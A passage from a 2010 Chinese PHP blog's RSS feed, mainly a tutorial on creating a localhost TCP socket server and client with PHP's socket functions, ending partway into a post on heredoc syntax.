href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E9%82%AE%E4%BB%B6" title="邮件" rel="tag">邮件</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a>, <a href="http://www.5bay.cn/tag/%e9%aa%8c%e8%af%81" title="验证" rel="tag">验证</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索 (2010年05月23日)">mysql优化及全文搜索</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解 (2010年05月23日)">Rsync详解</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤 (2010年07月26日)">PHP安全之数据过滤</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介 (2010年07月26日)">PHP和Socket简介</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点 (2010年07月26日)">ajax的缺点</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/eeeeeeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP和Socket简介</title>
		<link>http://www.5bay.cn/network-programming/phpeecketee.html</link>
		<comments>http://www.5bay.cn/network-programming/phpeecketee.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 17:19:26 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[php.ini]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[区别]]></category>
		<category><![CDATA[实例]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[操作系统]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[注释]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[英文]]></category>
		<category><![CDATA[获取]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=499</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpeecketee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Sockets在PHP中是没有充分利用的功能。今天你将看到产生一个能使用客户端连接的服务器，并在客户端使用socket进行连接，服务器端将详细的处理信息发送给客户端。
当你看到完整的socket过程，那么你将会在以后的程序开发中使用它。这个服务器是一个能让你连接的HTTP服务器，客户端是一个Web浏览器，这是一个单一的 客户端/服务器 的关系。
◆　Socket 基础
PHP使用Berkley的socket库来创建它的连接。你可以知道socket只不过是一个数据结构。你使用这个socket数据结构去开始一个客户端和服务器之间的会话。这个服务器是一直在监听准备产生一个新的会话。当一个客户端连接服务器，它就打开服务器正在进行监听的一个端口进行会话。这时，服务器端接受客户端的连接请求，那么就进行一次循环。现在这个客户端就能够发送信息到服务器，服务器也能发送信息给客户端。
产生一个Socket，你需要三个变量：一个协议、一个socket类型和一个公共协议类型。产生一个socket有三种协议供选择，继续看下面的内容来获取详细的协议内容。
定义一个公共的协议类型是进行连接一个必不可少的元素。下面的表我们看看有那些公共的协议类型。
表一：协议
名字/常量 描述
AF_INET 这是大多数用来产生socket的协议，使用TCP或UDP来传输，用在IPv4的地址
AF_INET6 与上面类似，不过是来用在IPv6的地址
AF_UNIX 本地协议，使用在Unix和Linux系统上，它很少使用，一般都是当客户端和服务器在同一台及其上的时候使用
表二：Socket类型
名字/常量 描述
SOCK_STREAM 这个协议是按照顺序的、可靠的、数据完整的基于字节流的连接。这是一个使用最多的socket类型，这个socket是使用TCP来进行传输。
SOCK_DGRAM 这个协议是无连接的、固定长度的传输调用。该协议是不可靠的，使用UDP来进行它的连接。
SOCK_SEQPACKET 这个协议是双线路的、可靠的连接，发送固定长度的数据包进行传输。必须把这个包完整的接受才能进行读取。
SOCK_RAW 这个socket类型提供单一的网络访问，这个socket类型使用ICMP公共协议。（ping、traceroute使用该协议）
SOCK_RDM 这个类型是很少使用的，在大部分的操作系统上没有实现，它是提供给数据链路层使用，不保证数据包的顺序
表三：公共协议
名字/常量 描述
ICMP 互联网控制消息协议，主要使用在网关和主机上，用来检查网络状况和报告错误信息
UDP 用户数据报文协议，它是一个无连接，不可靠的传输协议
TCP 传输控制协议，这是一个使用最多的可靠的公共协议，它能保证数据包能够到达接受者那儿，如果在传输过程中发生错误，那么它将重新发送出错数据包。
现在你知道了产生一个socket的三个元素，那么我们就在php中使用socket_create()函数来产生一个socket。这个 socket_create()函数需要三个参数：一个协议、一个socket类型、一个公共协议。socket_create()函数运行成功返回一个包含socket的资源类型，如果没有成功则返回false。
Resourece socket_create(int protocol, int socketType, int commonProtocol);
现在你产生一个socket，然后呢？php提供了几个操纵socket的函数。你能够绑定socket到一个IP，监听一个socket的通信，接受一个socket；现在我们来看一个例子，了解函数是如何产生、接受和监听一个socket。
&#60;?php
$commonProtocol = getprotobyname(“tcp”);
$socket = socket_create(AF_INET, SOCK_STREAM, $commonProtocol);
socket_bind($socket, ‘localhost’, 1337);
socket_listen($socket);
// More socket functionality to come
?&#62;
上面这个例子产生一个你自己的服务器端。例子第一行，
$commonProtocol = getprotobyname(“tcp”);
使用公共协议名字来获取一个协议类型。在这里使用的是TCP公共协议，如果你想使用UDP或者ICMP协议，那么你应该把getprotobyname() 函数的参数改为“udp”或“icmp”。还有一个可选的办法是不使用getprotobyname()函数而是指定SOL_TCP或SOL_UDP在 socket_create()函数中。
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
例子的第二行是产生一个socket并且返回一个socket资源的实例。在你有了一个socket资源的实例以后，你就必须把socket绑定到一个IP地址和某一个端口上。
socket_bind($socket, ‘localhost’, 1337);
在这里你绑定socket到本地计算机（127.0.0.1）和绑定socket到你的1337端口。然后你就需要监听所有进来的socket连接。
socket_listen($socket);
在第四行以后，你就需要了解所有的socket函数和他们的使用。
表四：Socket函数
函数名 描述
socket_accept() 接受一个Socket连接
socket_bind() 把socket绑定在一个IP地址和端口上
socket_clear_error() 清除socket的错误或者最后的错误代码
socket_close() 关闭一个socket资源
socket_connect() 开始一个socket连接
socket_create_listen() 在指定端口打开一个socket监听
socket_create_pair() [...]]]></description>
			<content:encoded><![CDATA[<p>Sockets在PHP中是没有充分利用的功能。今天你将看到产生一个能使用客户端连接的服务器，并在客户端使用socket进行连接，服务器端将详细的处理信息发送给客户端。</p>
<p>当你看到完整的socket过程，那么你将会在以后的程序开发中使用它。这个服务器是一个能让你连接的HTTP服务器，客户端是一个Web浏览器，这是一个单一的 客户端/服务器 的关系。<span id="more-499"></span></p>
<p>◆　Socket 基础</p>
<p>PHP使用Berkley的socket库来创建它的连接。你可以知道socket只不过是一个数据结构。你使用这个socket数据结构去开始一个客户端和服务器之间的会话。这个服务器是一直在监听准备产生一个新的会话。当一个客户端连接服务器，它就打开服务器正在进行监听的一个端口进行会话。这时，服务器端接受客户端的连接请求，那么就进行一次循环。现在这个客户端就能够发送信息到服务器，服务器也能发送信息给客户端。</p>
<p>产生一个Socket，你需要三个变量：一个协议、一个socket类型和一个公共协议类型。产生一个socket有三种协议供选择，继续看下面的内容来获取详细的协议内容。</p>
<p>定义一个公共的协议类型是进行连接一个必不可少的元素。下面的表我们看看有那些公共的协议类型。</p>
<p>表一：协议</p>
<p>名字/常量 描述<br />
AF_INET 这是大多数用来产生socket的协议，使用TCP或UDP来传输，用在IPv4的地址<br />
AF_INET6 与上面类似，不过是来用在IPv6的地址<br />
AF_UNIX 本地协议，使用在Unix和Linux系统上，它很少使用，一般都是当客户端和服务器在同一台及其上的时候使用</p>
<p>表二：Socket类型</p>
<p>名字/常量 描述<br />
SOCK_STREAM 这个协议是按照顺序的、可靠的、数据完整的基于字节流的连接。这是一个使用最多的socket类型，这个socket是使用TCP来进行传输。<br />
SOCK_DGRAM 这个协议是无连接的、固定长度的传输调用。该协议是不可靠的，使用UDP来进行它的连接。<br />
SOCK_SEQPACKET 这个协议是双线路的、可靠的连接，发送固定长度的数据包进行传输。必须把这个包完整的接受才能进行读取。<br />
SOCK_RAW 这个socket类型提供单一的网络访问，这个socket类型使用ICMP公共协议。（ping、traceroute使用该协议）<br />
SOCK_RDM 这个类型是很少使用的，在大部分的操作系统上没有实现，它是提供给数据链路层使用，不保证数据包的顺序</p>
<p>表三：公共协议</p>
<p>名字/常量 描述<br />
ICMP 互联网控制消息协议，主要使用在网关和主机上，用来检查网络状况和报告错误信息<br />
UDP 用户数据报文协议，它是一个无连接，不可靠的传输协议<br />
TCP 传输控制协议，这是一个使用最多的可靠的公共协议，它能保证数据包能够到达接受者那儿，如果在传输过程中发生错误，那么它将重新发送出错数据包。</p>
<p>现在你知道了产生一个socket的三个元素，那么我们就在php中使用socket_create()函数来产生一个socket。这个 socket_create()函数需要三个参数：一个协议、一个socket类型、一个公共协议。socket_create()函数运行成功返回一个包含socket的资源类型，如果没有成功则返回false。<br />
Resourece socket_create(int protocol, int socketType, int commonProtocol);</p>
<p>现在你产生一个socket，然后呢？php提供了几个操纵socket的函数。你能够绑定socket到一个IP，监听一个socket的通信，接受一个socket；现在我们来看一个例子，了解函数是如何产生、接受和监听一个socket。</p>
<p>&lt;?php<br />
$commonProtocol = getprotobyname(“tcp”);<br />
$socket = socket_create(AF_INET, SOCK_STREAM, $commonProtocol);<br />
socket_bind($socket, ‘localhost’, 1337);<br />
socket_listen($socket);<br />
// More socket functionality to come<br />
?&gt;</p>
<p>上面这个例子产生一个你自己的服务器端。例子第一行，<br />
$commonProtocol = getprotobyname(“tcp”);<br />
使用公共协议名字来获取一个协议类型。在这里使用的是TCP公共协议，如果你想使用UDP或者ICMP协议，那么你应该把getprotobyname() 函数的参数改为“udp”或“icmp”。还有一个可选的办法是不使用getprotobyname()函数而是指定SOL_TCP或SOL_UDP在 socket_create()函数中。</p>
<p>$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);</p>
<p>例子的第二行是产生一个socket并且返回一个socket资源的实例。在你有了一个socket资源的实例以后，你就必须把socket绑定到一个IP地址和某一个端口上。</p>
<p>socket_bind($socket, ‘localhost’, 1337);</p>
<p>在这里你绑定socket到本地计算机（127.0.0.1）和绑定socket到你的1337端口。然后你就需要监听所有进来的socket连接。</p>
<p>socket_listen($socket);</p>
<p>在第四行以后，你就需要了解所有的socket函数和他们的使用。</p>
<p>表四：Socket函数</p>
<p>函数名 描述<br />
socket_accept() 接受一个Socket连接<br />
socket_bind() 把socket绑定在一个IP地址和端口上<br />
socket_clear_error() 清除socket的错误或者最后的错误代码<br />
socket_close() 关闭一个socket资源<br />
socket_connect() 开始一个socket连接<br />
socket_create_listen() 在指定端口打开一个socket监听<br />
socket_create_pair() 产生一对没有区别的socket到一个数组里<br />
socket_create() 产生一个socket，相当于产生一个socket的数据结构<br />
socket_get_option() 获取socket选项<br />
socket_getpeername() 获取远程类似主机的ip地址<br />
socket_getsockname() 获取本地socket的ip地址<br />
socket_iovec_add() 添加一个新的向量到一个分散/聚合的数组<br />
socket_iovec_alloc() 这个函数创建一个能够发送接收读写的iovec数据结构<br />
socket_iovec_delete() 删除一个已经分配的iovec<br />
socket_iovec_fetch() 返回指定的iovec资源的数据<br />
socket_iovec_free() 释放一个iovec资源<br />
socket_iovec_set() 设置iovec的数据新值<br />
socket_last_error() 获取当前socket的最后错误代码<br />
socket_listen() 监听由指定socket的所有连接<br />
socket_read() 读取指定长度的数据<br />
socket_readv() 读取从分散/聚合数组过来的数据<br />
socket_recv() 从socket里结束数据到缓存<br />
socket_recvfrom() 接受数据从指定的socket，如果没有指定则默认当前socket<br />
socket_recvmsg() 从iovec里接受消息<br />
socket_select() 多路选择<br />
socket_send() 这个函数发送数据到已连接的socket<br />
socket_sendmsg() 发送消息到socket<br />
socket_sendto() 发送消息到指定地址的socket<br />
socket_set_block() 在socket里设置为块模式<br />
socket_set_nonblock() socket里设置为非块模式<br />
socket_set_option() 设置socket选项<br />
socket_shutdown() 这个函数允许你关闭读、写、或者指定的socket<br />
socket_strerror() 返回指定错误号的详细错误<br />
socket_write() 写数据到socket缓存<br />
socket_writev() 写数据到分散/聚合数组</p>
<p>(注: 函数介绍删减了部分原文内容，函数详细使用建议参考英文原文，或者参考PHP手册)</p>
<p>以上所有的函数都是PHP中关于socket的，使用这些函数，你必须把你的socket打开，如果你没有打开，请编辑你的php.ini文件，去掉下面这行前面的注释：<br />
extension=php_sockets.dll<br />
如果你无法去掉注释，那么请使用下面的代码来加载扩展库：</p>
<p>&lt;?php<br />
if(!extension_loaded(‘sockets’))<br />
{<br />
if(strtoupper(substr(PHP_OS, 3)) == “WIN”)<br />
{<br />
dl(‘php_sockets.dll’);<br />
}<br />
else<br />
{<br />
dl(‘sockets.so’);<br />
}<br />
}<br />
?&gt;</p>
<p>如果你不知道你的socket是否打开，那么你可以使用phpinfo()函数来确定socket是否打开。你通过查看phpinfo信息了解socket是否打开。</p>
<p>查看phpinfo()关于socket的信息</p>
<p>◆　产生一个服务器</p>
<p>现在我们把第一个例子进行完善。你需要监听一个指定的socket并且处理用户的连接。</p>
<p>&lt;?php<br />
$commonProtocol = getprotobyname(&#8220;tcp&#8221;);<br />
$socket = socket_create(AF_INET, SOCK_STREAM, $commonProtocol);<br />
socket_bind($socket, &#8216;localhost&#8217;, 1337);<br />
socket_listen($socket);<br />
// Accept any incoming connections to the server<br />
$connection = socket_accept($socket);<br />
if($connection)<br />
{<br />
socket_write($connection, &#8220;You have connected to the socket&#8230;\n\r&#8221;);<br />
}<br />
?&gt;</p>
<p>你应该使用你的命令提示符来运行这个例子。理由是因为这里将产生一个服务器，而不是一个Web页面。如果你尝试使用Web浏览器来运行这个脚本，那么很有可能它会超过30秒的限时。你可以使用下面的代码来设置一个无限的运行时间，但是还是建议使用命令提示符来运行。</p>
<p>set_time_limit(0);</p>
<p>在你的命令提示符中对这个脚本进行简单测试：</p>
<p>Php.exe example01_server.php</p>
<p>如果你没有在系统的环境变量中设置php解释器的路径，那么你将需要给php.exe指定详细的路径。当你运行这个服务器端的时候，你能够通过远程登陆（telnet）的方式连接到端口1337来测试这个服务器。</p>
<p>上面的服务器端有三个问题：1. 它不能接受多个连接。2. 它只完成唯一的一个命令。</p>
<p>3. 你不能通过Web浏览器连接这个服务器。</p>
<p>这个第一个问题比较容易解决，你可以使用一个应用程序去每次都连接到服务器。但是后面的问题是你需要使用一个Web页面去连接这个服务器，这个比较困难。你可以让你的服务器接受连接，然后些数据到客户端（如果它一定要写的话），关闭连接并且等待下一个连接。</p>
<p>在上一个代码的基础上再改进，产生下面的代码来做你的新服务器端：</p>
<p>&lt;?php<br />
// Set up our socket<br />
$commonProtocol = getprotobyname(&#8220;tcp&#8221;);<br />
$socket = socket_create(AF_INET, SOCK_STREAM, $commonProtocol);<br />
socket_bind($socket, &#8216;localhost&#8217;, 1337);<br />
socket_listen($socket);<br />
// Initialize the buffer<br />
$buffer = &#8220;NO DATA&#8221;;<br />
while(true)<br />
{<br />
// Accept any connections coming in on this socket</p>
<p>$connection = socket_accept($socket);<br />
printf(&#8220;Socket connected\r\n&#8221;);<br />
// Check to see if there is anything in the buffer<br />
if($buffer != &#8220;&#8221;)<br />
{<br />
printf(&#8220;Something is in the buffer&#8230;sending data&#8230;\r\n&#8221;);<br />
socket_write($connection, $buffer . &#8220;\r\n&#8221;);<br />
printf(&#8220;Wrote to socket\r\n&#8221;);<br />
}<br />
else<br />
{<br />
printf(&#8220;No Data in the buffer\r\n&#8221;);<br />
}<br />
// Get the input<br />
while($data = socket_read($connection, 1024, PHP_NORMAL_READ))<br />
{<br />
$buffer = $data;<br />
socket_write($connection, &#8220;Information Received\r\n&#8221;);<br />
printf(&#8220;Buffer: &#8221; . $buffer . &#8220;\r\n&#8221;);<br />
}<br />
socket_close($connection);<br />
printf(&#8220;Closed the socket\r\n\r\n&#8221;);<br />
}<br />
?&gt;</p>
<p>这个服务器端要做什么呢？它初始化一个socket并且打开一个缓存收发数据。它等待连接，一旦产生一个连接，它将打印“Socket connected”在服务器端的屏幕上。这个服务器检查缓冲区，如果缓冲区里有数据，它将把数据发送到连接过来的计算机。然后它发送这个数据的接受信息，一旦它接受了信息，就把信息保存到数据里，并且让连接的计算机知道这些信息，最后关闭连接。当连接关闭后，服务器又开始处理下一次连接。</p>
<p>◆　产生一个客户端</p>
<p>处理第二个问题是很容易的。你需要产生一个php页连接一个socket，发送一些数据进它的缓存并处理它。然后你又个处理后的数据在还顿，你能够发送你的数据到服务器。在另外一台客户端连接，它将处理那些数据。</p>
<p>下面的例子示范了使用socket：</p>
<p>&lt;?php<br />
// Create the socket and connect<br />
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);<br />
$connection = socket_connect($socket,’localhost’, 1337);<br />
while($buffer = socket_read($socket, 1024, PHP_NORMAL_READ))<br />
{<br />
if($buffer == “NO DATA”)<br />
{<br />
echo(“&lt;p&gt;NO DATA&lt;/p&gt;”);<br />
break;<br />
}<br />
else<br />
{<br />
// Do something with the data in the buffer<br />
echo(“&lt;p&gt;Buffer Data: “ . $buffer . “&lt;/p&gt;”);<br />
}<br />
}<br />
echo(“&lt;p&gt;Writing to Socket&lt;/p&gt;”);<br />
// Write some test data to our socket<br />
if(!socket_write($socket, “SOME DATA\r\n”))<br />
{<br />
echo(“&lt;p&gt;Write failed&lt;/p&gt;”);<br />
}<br />
// Read any response from the socket<br />
while($buffer = socket_read($socket, 1024, PHP_NORMAL_READ))<br />
{<br />
echo(“&lt;p&gt;Data sent was: SOME DATA&lt;br&gt; Response was:” . $buffer . “&lt;/p&gt;”);<br />
}<br />
echo(“&lt;p&gt;Done Reading from Socket&lt;/p&gt;”);<br />
?&gt;</p>
<p>这个例子的代码演示了客户端连接到服务器。客户端读取数据。如果这是第一时间到达这个循环的首次连接，这个服务器将发送“NO DATA”返回给客户端。如果情况发生了，这个客户端在连接之上。客户端发送它的数据到服务器，数据发送给服务器，客户端等待响应。一旦接受到响应，那么它将把响应写到屏幕上。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (9)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/requireeecludexi.html" title="require和include的异同">require和include的异同</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/phpini" title="php.ini" rel="tag">php.ini</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%8C%BA%E5%88%AB" title="区别" rel="tag">区别</a>, <a href="http://www.5bay.cn/tag/%E5%AE%9E%E4%BE%8B" title="实例" rel="tag">实例</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E6%88%90%E5%8A%9F" title="成功" rel="tag">成功</a>, <a href="http://www.5bay.cn/tag/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F" title="操作系统" rel="tag">操作系统</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%B3%A8%E9%87%8A" title="注释" rel="tag">注释</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%8B%B1%E6%96%87" title="英文" rel="tag">英文</a>, <a href="http://www.5bay.cn/tag/%E8%8E%B7%E5%8F%96" title="获取" rel="tag">获取</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索 (2010年05月23日)">mysql优化及全文搜索</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题 (2010年07月26日)">最令PHP初学者头痛的十四个问题</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题 (2010年07月26日)">深入探讨PHP中的内存管理问题</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法 (2010年07月26日)">PHP对文本数据库的基本操作方法</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点 (2010年07月26日)">ajax的缺点</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/phpeecketee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>php的文档句法(heredoc)</title>
		<link>http://www.5bay.cn/network-programming/phpeefangeredoc.html</link>
		<comments>http://www.5bay.cn/network-programming/phpeefangeredoc.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 17:18:49 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[区别]]></category>
		<category><![CDATA[常用]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=497</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>不多说了，看代码。自己体会
&#60;?php
echo &#8220;濙水河边的PHP演示&#8221;;
echo &#8220;&#60;br&#62;&#8221;;
$db=mysql_connect(&#8220;localhost&#8221;,&#8221;root&#8221;,&#8221;123456&#8243;);
mysql_select_db(&#8220;jaycee&#8221;,$db);
$rs=mysql_query(&#8220;select * from gbook&#8221;,$db);
while($row=mysql_fetch_row($rs))
{
echo &#60;&#60;&#60; eod
&#60;table width=&#8221;99%&#8221; border=&#8221;1&#8243; cellspacing=&#8221;0&#8243; cellpadding=&#8221;0&#8243;&#62;
&#60;tr&#62;
&#60;td&#62;$row[0]&#60;/td&#62;
&#60;td&#62;$row[1]&#60;/td&#62;
&#60;/tr&#62;
&#60;tr&#62;
&#60;td&#62;$row[2]&#60;/td&#62;
&#60;td&#62;$row[3]&#60;/td&#62;
&#60;/tr&#62;
&#60;/table&#62;
eod;
}
?&#62;
&#60;&#60;&#60;也就是可以让我们在PHP代码内实现一大段的HTML代码，并且可以在其中，使用PHP变量。
淡水河边这厮，找到许多PHP入门呀，php起步呀＝＝的书，从没提到用到这个。郁闷，用不到么？
居然不提。愤怒！ 
淡水河边看的书上叫它文档句法,又称定界符.它的语法是&#8221;&#60;&#60;&#60;&#8221;。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。注意，淡水河边这厮这里用的标志符是EOD，结束的那个标志要顶头写，不能有缩进和空格.
字符串的操作
1. 字符串的表现形式
在大部分语言里，双引号是字符串，单引号是字符。但是在PHP里，字符串的表现形式有3种。即：
单引号
双引号
定界符（heredoc syntax）
看见了吧，单引号居然可以用来表示字符串。那么如果我想表示单引号怎么办？和大多数语言一样，使用转义符号吧。即反斜线&#8221;\&#8221;.那么使用单引号和双引号有什么区别呢？我的观点是没有多大区别。唯一的区别就是双引号可以应用更多的转义符。
让我们定界符吧。它的语法是&#8221;&#60;&#60;&#60;&#8221;。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。例如：
&#60;?php
$str= &#60;&#60;&#60;EOD
Hello, this is an example for HEREDOC Syntax.
Please attention to it.
EOD;
echo $str;
?&#62;
注意，这里的提供的标志符是EOD，中间的是字符串。
2. 字符串的特别之处
从一个例子开始。
假设里你有很长的一段字符串，比如一段话。几个月后，你发现你的需求改变，需要在这段话的某个位置插入一个变量。这个时候如果重新用字符串符肯定是相当复杂的。那么有没有其他的方法呢？请放心，PHP已经考虑到这一点了。那就是花括号的应用。
对于PHP，它一般会按照如下规则解析：
如果遇到美元符号（$），解析器会尽可能多地取得后面的字符以组成一个合法的变量名。如果想明示指定名字的结束，用花括号把变量名括起来。例如
&#60;?php
$beer = &#8220;Heineken&#8221;;
echo &#8220;$beer&#8221;s taste is great&#8221;; // works, &#8220;&#8221;" is an invalid character for varnames
echo &#8220;He drank some $beers&#8221;; // won&#8221;t work, &#8220;s&#8221; is a valid character [...]]]></description>
			<content:encoded><![CDATA[<p>不多说了，看代码。自己体会</p>
<p>&lt;?php<br />
echo &#8220;濙水河边的PHP演示&#8221;;<br />
echo &#8220;&lt;br&gt;&#8221;;<br />
$db=mysql_connect(&#8220;localhost&#8221;,&#8221;root&#8221;,&#8221;123456&#8243;);<br />
mysql_select_db(&#8220;jaycee&#8221;,$db);<br />
